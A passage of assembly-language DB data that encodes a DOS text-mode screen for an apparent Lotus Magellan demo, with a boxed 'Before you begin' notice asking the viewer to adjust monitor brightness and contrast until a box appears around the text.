30H,0BCH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H, 20H, 07H, 42H, 07H, 45H + DB 07H, 46H, 07H, 4FH, 07H, 52H + DB 07H, 45H, 07H, 20H, 07H, 59H + DB 07H, 4FH, 07H, 55H, 07H, 20H + DB 07H, 42H, 07H, 45H, 07H, 47H + DB 07H, 49H, 07H, 4EH, 07H, 20H + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0C9H, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0BBH + DB 07H, 20H, 0FH, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 54H + DB 0FH, 6FH, 0FH, 20H, 0FH, 69H + DB 0FH, 6EH, 0FH, 73H, 0FH, 75H + DB 0FH, 72H, 0FH, 65H, 0FH, 20H + DB 0FH, 74H, 0FH, 68H, 0FH, 65H + DB 0FH, 20H, 0FH, 62H, 0FH, 65H + DB 0FH, 73H, 0FH, 74H, 0FH, 20H + DB 0FH, 64H, 0FH, 65H, 0FH, 6DH + DB 0FH, 6FH, 0FH, 6EH, 0FH, 73H + DB 0FH, 74H, 0FH, 72H, 0FH, 61H + DB 0FH, 74H, 0FH, 69H, 0FH, 6FH + DB 0FH, 6EH, 0FH, 20H, 0FH, 6FH + DB 0FH, 66H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 4CH, 0FH, 6FH + DB 0FH, 74H, 0FH, 75H, 0FH, 73H + DB 0FH, 20H, 0FH, 4DH, 0FH, 61H + DB 0FH, 67H, 0FH, 65H, 0FH, 6CH + DB 0FH, 6CH, 0FH, 61H, 0FH, 6EH + DB 0FH, 2CH, 0FH, 20H, 0FH, 79H + DB 0FH, 6FH, 0FH, 75H, 0FH, 20H + DB 0FH, 6EH, 0FH, 65H, 0FH, 65H + DB 0FH, 64H, 0FH, 20H, 0FH, 74H + DB 0FH, 6FH, 0FH, 20H, 0FH, 61H + DB 0FH, 64H, 0FH, 6AH, 0FH, 75H + DB 0FH, 73H, 0FH, 74H, 0FH, 20H + DB 0FH, 79H, 0FH, 6FH, 0FH, 75H + DB 0FH, 72H, 0FH, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 6DH, 0FH, 6FH, 0FH, 6EH + DB 0FH, 69H, 0FH, 74H, 0FH, 6FH + DB 0FH, 72H, 0FH, 2EH, 0FH, 20H + DB 0FH, 20H, 0FH, 54H, 0FH, 75H + DB 0FH, 72H, 0FH, 6EH, 0FH, 20H + DB 0FH, 74H, 0FH, 68H, 0FH, 65H + DB 0FH, 20H, 0FH, 62H, 0FH, 72H + DB 0FH, 69H, 0FH, 67H, 0FH, 68H + DB 0FH, 74H, 0FH, 6EH, 0FH, 65H + DB 0FH, 73H, 0FH, 73H, 0FH, 20H + DB 0FH, 61H, 0FH, 6EH, 0FH, 64H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 63H + DB 0FH, 6FH, 0FH, 6EH, 0FH, 74H + DB 0FH, 72H, 0FH, 61H, 0FH, 73H + DB 0FH, 74H, 0FH, 20H, 0FH, 6BH + DB 0FH, 6EH, 0FH, 6FH, 0FH, 62H + DB 0FH, 73H, 0FH, 20H, 0FH, 6FH + DB 0FH, 6EH, 0FH, 20H, 0FH, 79H + DB 0FH, 6FH, 0FH, 75H, 0FH, 72H + DB 0FH, 20H, 0FH, 6DH, 0FH, 6FH + DB 0FH, 6EH, 0FH, 69H, 0FH, 74H + DB 0FH, 6FH, 0FH, 72H, 0FH, 20H + DB 0FH, 75H, 0FH, 6EH, 0FH, 74H + DB 0FH, 69H, 0FH, 6CH, 0FH, 20H + DB 0FH, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 61H, 0FH, 20H + DB 0FH, 62H, 0FH, 6FH, 0FH, 78H + DB 0FH, 20H, 0FH, 61H, 0FH, 70H + DB 0FH, 70H, 0FH, 65H, 0FH, 61H + DB 0FH, 72H, 0FH, 73H, 0FH, 20H + DB 0FH, 61H, 0FH, 72H, 0FH, 6FH + DB 0FH, 75H, 0FH, 6EH, 0FH, 64H + DB 0FH, 20H, 0FH, 74H, 0FH, 68H + DB 0FH, 69H, 0FH, 73H, 0FH, 20H + DB 0FH, 74H, 0FH, 65H, 0FH, 78H + DB 0FH, 74H, 0FH, 2EH, 0FH, 20H + DB 0FH, 20H, 0FH, 54H, 0FH, 68H + DB 0FH, 65H, 0FH, 20H, 0FH, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 74H, 0FH, 65H, 0FH, 78H + DB 0FH, 74H, 0FH, 20H, 0FH, 73H + DB 0FH, 68H, 0FH, 6FH, 0FH, 75H + DB 0FH, 6CH, 0FH, 64H, 0FH, 20H + DB 0FH, 62H, 0FH, 65H, 0FH, 20H + DB 0FH, 62H, 0FH, 72H, 0FH, 69H + DB 0FH, 67H, 0FH, 68H, 0FH, 74H + DB 0FH, 65H, 0FH, 72H, 0FH, 20H + DB 0FH, 74H, 0FH, 68H, 0FH, 61H + DB 0FH, 6EH, 0FH, 20H, 0FH, 74H + DB 0FH, 68H, 0FH, 65H, 0FH, 20H + DB 0FH, 62H, 0FH, 6FH, 0FH, 78H + DB 0FH, 2EH, 0FH, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0C8H, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0BCH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 